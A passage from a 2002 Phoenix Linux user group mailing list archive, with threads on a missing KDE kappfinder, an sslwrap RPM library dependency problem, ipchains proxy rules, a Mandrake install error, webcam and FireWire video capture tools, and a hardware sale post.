mean it's not there. My point eas that I don't have it and don't need it. George -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 04:04:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Sat, 15 Jun 2002 21:04:04 -0700 Subject: KDE 3.0 "appfinder" In-Reply-To: <3D0BA3A3.4C8DCFE6@pop.phnx.uswest.net> References: <3D0BA3A3.4C8DCFE6@pop.phnx.uswest.net> Message-ID: <200206152104.04995@granroth.org> On Saturday 15 June 2002 01:29 pm, foodog wrote: > With previous versions of KDE there was a thing called "appfinder" in > the menu that'd search through the system and add applications to the K > menu. Does anyone know how to get KDE 3.0 to do that? I've got Redhat > 7.3 installed. Thanks much, It's still there. I'm not sure if RH messes with the menu structure at all.. but if they don't, it should be in K Menu -> System -> KAppfinder. Or, you could run it from the command line ('kappfinder'). Or you could do Alt+F2 and run it from there. -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 04:06:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Adrian Mink) Date: Sat, 15 Jun 2002 21:06:44 -0700 Subject: Dependency Problems References: Message-ID: <000701c214eb$3a689e00$0401a8c0@minkland.com> Thanks, been trying that. I have placed symlinks in /lib, /usr/lib and /usr/local/lib pointing back to /lib/libcrypto.so.0.9.6b. No joy. Here are the results anyway, hope it jogs you memory because I am stumped! lrwxrwxrwx 1 root root 16 Jun 15 18:47 libssl.so.0 -> libssl.so.0.9.6b -rwxr-xr-x 1 root root 207008 Apr 4 10:24 libssl.so.0.9.6b lrwxrwxrwx 1 root root 16 May 24 09:05 libssl.so.2 -> libssl.so.0.9.6b [root@linux lib]# ls -l libcrypto* lrwxrwxrwx 1 root root 19 Jun 15 18:48 libcrypto.so.0 -> libcrypto.so.0.9.6b -rwxr-xr-x 1 root root 936514 Apr 4 10:24 libcrypto.so.0.9.6b lrwxrwxrwx 1 root root 19 May 24 09:05 libcrypto.so.2 -> libcrypto.so.0.9.6b Thanks. ----- Original Message ----- From: "Tom Emerson" To: "Plug List" Sent: Saturday, June 15, 2002 7:17 PM Subject: Re: Dependency Problems > Adrian, I'm dimly remembering this from a few months ago. I think that it > was just a matter of adding an appropriately named symbolic link to > libcrypto.so.0.9.6b > > Something like this (as the root user): > cd /lib > ln -s libcrypto.so.0.9.6b libcrypto.so.0 > > In case this doesn't work out, keep a log of what you did so you can back > out changes to stuff in thie /lib directory. Careful what you do in /lib, > a goof here will render your system in need of repair... > > Do this: > cd /lib > ls -l libssl* > ls -l libcrypto* > > and post the results back to the list, maybe that'll jog some memories? > > - tom e. > > On Sat, 15 Jun 2002, Adrian Mink wrote: > > Hello, > > I am having a problem I hope someone can help with. I am trying to install > sslwrap and keep getting the following dependency errors. > > [root@linux work]# rpm --install sslwrap-2.0.5-3.i386.rpm > error: failed dependencies: > libcrypto.so.0 is needed by sslwrap-2.0.5-3 > libssl.so.0 is needed by sslwrap-2.0.5-3 > > Now, openssl is installed and verified. The results of rpm -qa | grep > openssl show that both openssl and openssl-devel 0.9.6b-18 > are installed. Now, I have noticed that openssl does not seem to install > libcrypto.so.0 and libssl.so.0, but it adds the version number > to the end of the files. So I actually have libcrypto.so.0.9.6b, etc. Could > this be my issue? Can someone tell me how to fix it? > Thanks! > > Adrian > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 04:18:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Sat, 15 Jun 2002 21:18:05 -0700 Subject: Dependency Problems References: <000701c214eb$3a689e00$0401a8c0@minkland.com> Message-ID: <3D0C117D.52AFA3F@qwest.net> rpm doesn't actually check for the file, just the rpm list for the rpm that contains the file. Try looking on rpmfind to find what packages it depends on. Adrian Mink wrote: > > Thanks, been trying that. I have placed symlinks in /lib, /usr/lib and > /usr/local/lib pointing back to > /lib/libcrypto.so.0.9.6b. No joy. Here are the results anyway, hope it jogs > you memory because > I am stumped! > > lrwxrwxrwx 1 root root 16 Jun 15 18:47 libssl.so.0 -> > libssl.so.0.9.6b > -rwxr-xr-x 1 root root 207008 Apr 4 10:24 libssl.so.0.9.6b > lrwxrwxrwx 1 root root 16 May 24 09:05 libssl.so.2 -> > libssl.so.0.9.6b > [root@linux lib]# ls -l libcrypto* > lrwxrwxrwx 1 root root 19 Jun 15 18:48 libcrypto.so.0 -> > libcrypto.so.0.9.6b > -rwxr-xr-x 1 root root 936514 Apr 4 10:24 libcrypto.so.0.9.6b > lrwxrwxrwx 1 root root 19 May 24 09:05 libcrypto.so.2 -> > libcrypto.so.0.9.6b > > Thanks. > > ----- Original Message ----- > From: "Tom Emerson" > To: "Plug List" > Sent: Saturday, June 15, 2002 7:17 PM > Subject: Re: Dependency Problems > > > Adrian, I'm dimly remembering this from a few months ago. I think that it > > was just a matter of adding an appropriately named symbolic link to > > libcrypto.so.0.9.6b > > > > Something like this (as the root user): > > cd /lib > > ln -s libcrypto.so.0.9.6b libcrypto.so.0 > > > > In case this doesn't work out, keep a log of what you did so you can back > > out changes to stuff in thie /lib directory. Careful what you do in /lib, > > a goof here will render your system in need of repair... > > > > Do this: > > cd /lib > > ls -l libssl* > > ls -l libcrypto* > > > > and post the results back to the list, maybe that'll jog some memories? > > > > - tom e. > > > > On Sat, 15 Jun 2002, Adrian Mink wrote: > > > > Hello, > > > > I am having a problem I hope someone can help with. I am trying to install > > sslwrap and keep getting the following dependency errors. > > > > [root@linux work]# rpm --install sslwrap-2.0.5-3.i386.rpm > > error: failed dependencies: > > libcrypto.so.0 is needed by sslwrap-2.0.5-3 > > libssl.so.0 is needed by sslwrap-2.0.5-3 > > > > Now, openssl is installed and verified. The results of rpm -qa | grep > > openssl show that both openssl and openssl-devel 0.9.6b-18 > > are installed. Now, I have noticed that openssl does not seem to install > > libcrypto.so.0 and libssl.so.0, but it adds the version number > > to the end of the files. So I actually have libcrypto.so.0.9.6b, etc. > Could > > this be my issue? Can someone tell me how to fix it? > > Thanks! > > > > Adrian > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 04:19:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sat, 15 Jun 2002 21:19:45 -0700 (PDT) Subject: KDE 3.0 "appfinder" In-Reply-To: <200206152104.04995@granroth.org> Message-ID: On Sat, 15 Jun 2002, Kurt Granroth wrote: > On Saturday 15 June 2002 01:29 pm, foodog wrote: > > With previous versions of KDE there was a thing called "appfinder" in > > the menu that'd search through the system and add applications to the K > > menu. Does anyone know how to get KDE 3.0 to do that? I've got Redhat > > 7.3 installed. Thanks much, > > It's still there. I'm not sure if RH messes with the menu structure at > all.. but if they don't, it should be in K Menu -> System -> KAppfinder. > Or, you could run it from the command line ('kappfinder'). Or you could do > Alt+F2 and run it from there. Hmm... I can't find kappfinder on my RH 7.3 box either... From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 04:40:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Sat, 15 Jun 2002 23:40:28 -0500 Subject: ipchains redirecting In-Reply-To: <1511.66.1.195.230.1024191347.squirrel@www.esaravana.com>; from linux@esaravana.com on Sat, Jun 15, 2002 at 06:35:47PM -0700 References: <1511.66.1.195.230.1024191347.squirrel@www.esaravana.com> Message-ID: <20020615234028.A26648@lilly.csoft.net> I believe all you need to do is allow your proxy access, then deny everyone else. On Sat, Jun 15, 2002 at 06:35:47PM -0700, Sundar Narayanasamy wrote: Hello, I want to force the users on my network to go through my proxy server. What are the ipchains rules I should add. I am using Redhat 7.2 and squid proxy. Cheers! Sundar ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 04:27:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 15 Jun 2002 21:27:34 -0700 Subject: KDE 3.0 "appfinder" In-Reply-To: <200206152104.04995@granroth.org> References: <3D0BA3A3.4C8DCFE6@pop.phnx.uswest.net> <200206152104.04995@granroth.org> Message-ID: <1024201654.2008.0.camel@barney.azapple.com> On Sat, 2002-06-15 at 21:04, Kurt Granroth wrote: > On Saturday 15 June 2002 01:29 pm, foodog wrote: > > With previous versions of KDE there was a thing called "appfinder" in > > the menu that'd search through the system and add applications to the K > > menu. Does anyone know how to get KDE 3.0 to do that? I've got Redhat > > 7.3 installed. Thanks much, > > It's still there. I'm not sure if RH messes with the menu structure at > all.. but if they don't, it should be in K Menu -> System -> KAppfinder. > Or, you could run it from the command line ('kappfinder'). Or you could do > Alt+F2 and run it from there. > -- Have to agree with Steve...it isn't there in RH 7.3 / KDE 3.0 Craig From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 05:00:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Sat, 15 Jun 2002 22:00:48 -0700 Subject: KDE 3.0 "appfinder" In-Reply-To: References: Message-ID: <200206152200.53947.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Saturday 15 June 2002 21:19, Matt Alexander wrote: > On Sat, 15 Jun 2002, Kurt Granroth wrote: > > It's still there. I'm not sure if RH messes with the menu structure at > > all.. but if they don't, it should be in K Menu -> System -> KAppfinder. > > Or, you could run it from the command line ('kappfinder'). Or you could > > do Alt+F2 and run it from there. > > Hmm... I can't find kappfinder on my RH 7.3 box either... Just for note, it comes with Mandrake 8.2 (KDE2 and KDE3) with the kdebase package. - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9DBuEpNoctRtUIRQRAsXaAJ9UsBoxSD8YxfGi6PH0opFlLcCV7ACfUs4k brnvy5XL32Tdwt54jZDt/Ic= =N/iq -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 05:03:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Sat, 15 Jun 2002 22:03:21 -0700 Subject: Dependency Problems In-Reply-To: <026e01c214d6$2df0d530$0401a8c0@minkland.com> References: <026e01c214d6$2df0d530$0401a8c0@minkland.com> Message-ID: <200206152203.26866.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Saturday 15 June 2002 18:36, Adrian Mink wrote: > I am having a problem I hope someone can help with. I am trying to install > sslwrap and keep getting the following dependency errors. > > [root@linux work]# rpm --install sslwrap-2.0.5-3.i386.rpm > error: failed dependencies: > libcrypto.so.0 is needed by sslwrap-2.0.5-3 > libssl.so.0 is needed by sslwrap-2.0.5-3 Since I haven't seen it mentioned, both of these dependencies are provided by the libopenssl0 package. - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9DBwcpNoctRtUIRQRAtlRAKCLM0gS+dS6BVlcVvC6NXCTnrAZVQCeL/Zx h3HlQ55/B0AXY9XrHSin6As= =D3+4 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 05:08:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Sat, 15 Jun 2002 22:08:26 -0700 Subject: Error on the Installation of Mandrake 8.2 In-Reply-To: <20020616020655.89129.qmail@web20605.mail.yahoo.com> References: <20020616020655.89129.qmail@web20605.mail.yahoo.com> Message-ID: <200206152208.30167.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Saturday 15 June 2002 19:06, Mario Hines wrote: > "Kernel Panic:VFS: Can't mount the device 01:03." > > I'm not exactly sure what that means, but I kinda > bypassed that problem by just going into Mandrake and > doing a live update, then I run in this error message: > > "Can't open /var/lib/rpm/Packages." > > I check in that section of my tree, . . . didn't > have a Packages directory. I also tried another way > with the rpm's, but those had signature errors. So, > please, tell me if it's the CD or is it my system. > Cause I have NO clue of what to do now. Thanks. I don't know how helpful this is, but Packages is a *file*. It apparently comes with the rpm tool and is updated to hold the package info (rpm -qi), if not more. I would try (as root) 'rpm --rebuilddb'. I have never tried this, so don't take my advice too seriously. ;-) I hope this helps. - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9DB1MpNoctRtUIRQRAvurAJ41bGRsLjCX3iWQIYgx3s1w6vmbzgCghXP3 sBUaziViRCFO2sCeJ0jvRzU= =NKxs -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 05:08:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Sat, 15 Jun 2002 22:08:21 -0700 Subject: KDE 3.0 "appfinder" References: <3D0BA3A3.4C8DCFE6@pop.phnx.uswest.net> <200206152104.04995@granroth.org> <1024201654.2008.0.camel@barney.azapple.com> Message-ID: <3D0C1D45.38B89DBE@qwest.net> * Fri Jul 20 2001 Bernhard Rosenkraenzer 2.2-0.cvs20010720.1 - update - get rid of some rpmlint warnings - remove kappfinder (we maintain /etc/X11/applnk) - work around ia64 breakage Changelog for kdebase for RH. > > > With previous versions of KDE there was a thing called "appfinder" in > > > the menu that'd search through the system and add applications to the K > > > menu. Does anyone know how to get KDE 3.0 to do that? I've got Redhat > > > 7.3 installed. Thanks much, > > > > It's still there. I'm not sure if RH messes with the menu structure at > > all.. but if they don't, it should be in K Menu -> System -> KAppfinder. > > Or, you could run it from the command line ('kappfinder'). Or you could do > > Alt+F2 and run it from there. > > -- > Have to agree with Steve...it isn't there in RH 7.3 / KDE 3.0 From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 05:20:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sat, 15 Jun 2002 22:20:39 -0700 Subject: Cleaning house Message-ID: <200206152220.39663.dennisk@sahuaro.f2s.com> I'll have the following items for sale out of my backpack tomorrow at the swap meet. Sony 2x CD-R [feel the speed:-)] - $20 Black floppy drive - $5 Windows NT - $10 Windows 2000 Pro - $20 AMD Duron 1.1Ghz - $20 256Mb Corsair PC2100 DDRRAM - $20 If you don't know me just look for 50ish, beard, green backpack, white straw hat. or call my cellphone. Dennis Kibbe 602-695-0472 mobile From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 05:31:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Sat, 15 Jun 2002 22:31:48 -0700 Subject: IBM PC Camera Message-ID: <200206152231.52590.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I just bought an IBM PC Camera at wal-mart on clearance for $12 bucks. It's not real great, but it's fun to play with. Can't go wrong for 12 bucks. So now I need some advice, what do other pluggers use for viewing camera video, and capturing? I've got a desktop with suse 8 on it and it has xawtv, but I'm not really impressed with that. Is there anything you guys prefer? nathan -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9DCLHQ7yNnsYcupwRAq+VAJ4mng6vzYSRuzNMeg6a562DaikrbwCdHSbK O5N5J4GzkNVcTq/u+BvnZ7g= =HUO7 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 05:19:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Sat, 15 Jun 2002 22:19:12 -0700 (MST) Subject: Dependency Problems In-Reply-To: <3D0C117D.52AFA3F@qwest.net> Message-ID: Hmm, I've got this on a RedHat 7.3: -rwxr-xr-x 1 root root 207008 Apr 4 10:23 libssl.so.0.9.6b lrwxrwxrwx 1 root root 16 Apr 28 02:49 libssl.so.2 -> libssl.so.0.9.6b -rwxr-xr-x 1 root root 23575 Apr 15 06:27 libcrypt-2.2.5.so -rwxr-xr-x 1 root root 924879 Apr 4 10:23 libcrypto.so.0.9.6b lrwxrwxrwx 1 root root 19 Apr 28 02:49 libcrypto.so.2 -> libcrypto.so.0.9.6b lrwxrwxrwx 1 root root 17 May 13 13:26 libcrypt.so.1 -> libcrypt-2.2.5.so Memory jogging, there is always this to try: rpm --nodeps --install sslwrap-2.0.5-3.i386.rpm If the sslwrap goodies work, Bob's your Uncle. If you have coredumps, bad /var/log/messages entries, anything else suspicious, you've got problems. rpm -e sslwrap-2.0.5-3 and try something else. Looks like you've got what's needed, could be that the sslwrap rpm has a dependancy not defined quite right for your distro. (I do remember tripping over this for something like pine, or some other typically included package after I updated a batch of RedHat's back in March .. the zlib flaw if I recall correctly.) - tom e. On Sat, 15 Jun 2002, Kevin Brown wrote: rpm doesn't actually check for the file, just the rpm list for the rpm that contains the file. Try looking on rpmfind to find what packages it depends on. Adrian Mink wrote: > > Thanks, been trying that. I have placed symlinks in /lib, /usr/lib and > /usr/local/lib pointing back to > /lib/libcrypto.so.0.9.6b. No joy. Here are the results anyway, hope it jogs > you memory because > I am stumped! > > lrwxrwxrwx 1 root root 16 Jun 15 18:47 libssl.so.0 -> > libssl.so.0.9.6b > -rwxr-xr-x 1 root root 207008 Apr 4 10:24 libssl.so.0.9.6b > lrwxrwxrwx 1 root root 16 May 24 09:05 libssl.so.2 -> > libssl.so.0.9.6b > [root@linux lib]# ls -l libcrypto* > lrwxrwxrwx 1 root root 19 Jun 15 18:48 libcrypto.so.0 -> > libcrypto.so.0.9.6b > -rwxr-xr-x 1 root root 936514 Apr 4 10:24 libcrypto.so.0.9.6b > lrwxrwxrwx 1 root root 19 May 24 09:05 libcrypto.so.2 -> > libcrypto.so.0.9.6b > > Thanks. > > ----- Original Message ----- > From: "Tom Emerson" > To: "Plug List" > Sent: Saturday, June 15, 2002 7:17 PM > Subject: Re: Dependency Problems > > > Adrian, I'm dimly remembering this from a few months ago. I think that it > > was just a matter of adding an appropriately named symbolic link to > > libcrypto.so.0.9.6b > > > > Something like this (as the root user): > > cd /lib > > ln -s libcrypto.so.0.9.6b libcrypto.so.0 > > > > In case this doesn't work out, keep a log of what you did so you can back > > out changes to stuff in thie /lib directory. Careful what you do in /lib, > > a goof here will render your system in need of repair... > > > > Do this: > > cd /lib > > ls -l libssl* > > ls -l libcrypto* > > > > and post the results back to the list, maybe that'll jog some memories? > > > > - tom e. > > > > On Sat, 15 Jun 2002, Adrian Mink wrote: > > > > Hello, > > > > I am having a problem I hope someone can help with. I am trying to install > > sslwrap and keep getting the following dependency errors. > > > > [root@linux work]# rpm --install sslwrap-2.0.5-3.i386.rpm > > error: failed dependencies: > > libcrypto.so.0 is needed by sslwrap-2.0.5-3 > > libssl.so.0 is needed by sslwrap-2.0.5-3 > > > > Now, openssl is installed and verified. The results of rpm -qa | grep > > openssl show that both openssl and openssl-devel 0.9.6b-18 > > are installed. Now, I have noticed that openssl does not seem to install > > libcrypto.so.0 and libssl.so.0, but it adds the version number > > to the end of the files. So I actually have libcrypto.so.0.9.6b, etc. > Could > > this be my issue? Can someone tell me how to fix it? > > Thanks! > > > > Adrian > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 05:35:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (Adrian Mink) Date: Sat, 15 Jun 2002 22:35:06 -0700 Subject: Dependency Problems In-Reply-To: <200206152203.26866.voltage_spike@fastmail.fm> Message-ID: <000001c214f7$927a4740$0801a8c0@bedroom> What is the difference between this and openssl? I know that the libcrypto.so.0 is provided properly if I compile from the openssl source, I am just trying to keep it to RPM's. Adrian -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us] On Behalf Of Voltage Spike Sent: Saturday, June 15, 2002 10:03 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Dependency Problems -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Saturday 15 June 2002 18:36, Adrian Mink wrote: > I am having a problem I hope someone can help with. I am trying to > install sslwrap and keep getting the following dependency errors. > > [root@linux work]# rpm --install sslwrap-2.0.5-3.i386.rpm > error: failed dependencies: > libcrypto.so.0 is needed by sslwrap-2.0.5-3 > libssl.so.0 is needed by sslwrap-2.0.5-3 Since I haven't seen it mentioned, both of these dependencies are provided by the libopenssl0 package. - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9DBwcpNoctRtUIRQRAtlRAKCLM0gS+dS6BVlcVvC6NXCTnrAZVQCeL/Zx h3HlQ55/B0AXY9XrHSin6As= =D3+4 -----END PGP SIGNATURE----- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 05:41:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Adrian Mink) Date: Sat, 15 Jun 2002 22:41:16 -0700 Subject: Dependency Problems In-Reply-To: <3D0C117D.52AFA3F@qwest.net> Message-ID: <000801c214f8$6f31e120$0801a8c0@bedroom> Thanks for those who tried to help, I was attempting to sslwrap imap. Finally after some poking around I found imaps in xinetd.d. Geez. I am taking the better part of valor and using imaps rather than fight anymore with sslwrap! (It worked great, first try.) Adrian -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us] On Behalf Of Kevin Brown Sent: Saturday, June 15, 2002 9:18 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Dependency Problems rpm doesn't actually check for the file, just the rpm list for the rpm that contains the file. Try looking on rpmfind to find what packages it depends on. Adrian Mink wrote: > > Thanks, been trying that. I have placed symlinks in /lib, /usr/lib and > /usr/local/lib pointing back to /lib/libcrypto.so.0.9.6b. No joy. Here > are the results anyway, hope it jogs you memory because > I am stumped! > > lrwxrwxrwx 1 root root 16 Jun 15 18:47 libssl.so.0 -> > libssl.so.0.9.6b > -rwxr-xr-x 1 root root 207008 Apr 4 10:24 libssl.so.0.9.6b > lrwxrwxrwx 1 root root 16 May 24 09:05 libssl.so.2 -> > libssl.so.0.9.6b > [root@linux lib]# ls -l libcrypto* > lrwxrwxrwx 1 root root 19 Jun 15 18:48 libcrypto.so.0 -> > libcrypto.so.0.9.6b > -rwxr-xr-x 1 root root 936514 Apr 4 10:24 libcrypto.so.0.9.6b > lrwxrwxrwx 1 root root 19 May 24 09:05 libcrypto.so.2 -> > libcrypto.so.0.9.6b > > Thanks. > > ----- Original Message ----- > From: "Tom Emerson" > To: "Plug List" > Sent: Saturday, June 15, 2002 7:17 PM > Subject: Re: Dependency Problems > > > Adrian, I'm dimly remembering this from a few months ago. I think > > that it was just a matter of adding an appropriately named symbolic > > link to libcrypto.so.0.9.6b > > > > Something like this (as the root user): > > cd /lib > > ln -s libcrypto.so.0.9.6b libcrypto.so.0 > > > > In case this doesn't work out, keep a log of what you did so you can > > back out changes to stuff in thie /lib directory. Careful what you > > do in /lib, a goof here will render your system in need of repair... > > > > Do this: > > cd /lib > > ls -l libssl* > > ls -l libcrypto* > > > > and post the results back to the list, maybe that'll jog some > > memories? > > > > - tom e. > > > > On Sat, 15 Jun 2002, Adrian Mink wrote: > > > > Hello, > > > > I am having a problem I hope someone can help with. I am trying to > > install sslwrap and keep getting the following dependency errors. > > > > [root@linux work]# rpm --install sslwrap-2.0.5-3.i386.rpm > > error: failed dependencies: > > libcrypto.so.0 is needed by sslwrap-2.0.5-3 > > libssl.so.0 is needed by sslwrap-2.0.5-3 > > > > Now, openssl is installed and verified. The results of rpm -qa | > > grep openssl show that both openssl and openssl-devel 0.9.6b-18 are > > installed. Now, I have noticed that openssl does not seem to install > > libcrypto.so.0 and libssl.so.0, but it adds the version number to > > the end of the files. So I actually have libcrypto.so.0.9.6b, etc. > Could > > this be my issue? Can someone tell me how to fix it? Thanks! > > > > Adrian > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 08:41:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Sun, 16 Jun 2002 01:41:08 -0700 Subject: Video update Message-ID: <20020616084107.GV14558@ecloud.org> I'm working on video capture and editing type stuff this weekend. The good news is the Linux 1394 driver is awesome! I already had it compiled in my kernel from a while back, and when I plugged in my camcorder and started up kino, I could simply hit play to remote-control the camera or record to capture an AVI. No sweat whatsoever. So far I captured 45 minutes of video to almost 10 gigs of AVIs. Whoa that's a lot of data! However the devil's in the details. My nagging problem of the moment is that kino doesn't like the sound driver for my sound chip, apparently. It simply hangs if I try to play video and audio at the same time, or capture with audio monitoring turned on. I looked at the code, it's very straightforward, open up /dev/dsp and dump data to it, so I don't see what the big deal is. Anyway the sound built-in to this motherboard is crappy, so I really want to get kino using some sort of network audio server on another machine which is the one I usually have hooked up to my stereo; I intended that it would be the "mixer" machine for all the others. I installed nas, and I have KDE's artsd using NAS and sending audio to the other machine. That's the furthest I've ever gotten with NAS in my several attempts, although at various times I've done the same thing with esd and with artsd's own network support. However there's supposed to be this wrapper called audiooss which can intercept calls to /dev/dsp and redirect the data to NAS. That's the sort of thing I need for kino, but it's not working. aRTs has a wrapper too and that is also not working. Just to go totally over the top, last Friday I ordered one of these http://www.ymouse.com/product/pxkeditor.htm It will be interesting to try getting that working with Kino. It can already work with 2 other kinds of jog-shuttle controls so at least I will have some example code. I should probably test my ability to convert to MPEG and burn VCDs before I get much further with actual editing. (If all else fails I can slink off to my mom's house and use her iMac.) And I found several consumer DVD players which have all the appropriate bells and whistles - compatibility with CD-Rs, CD-RWs, firmware 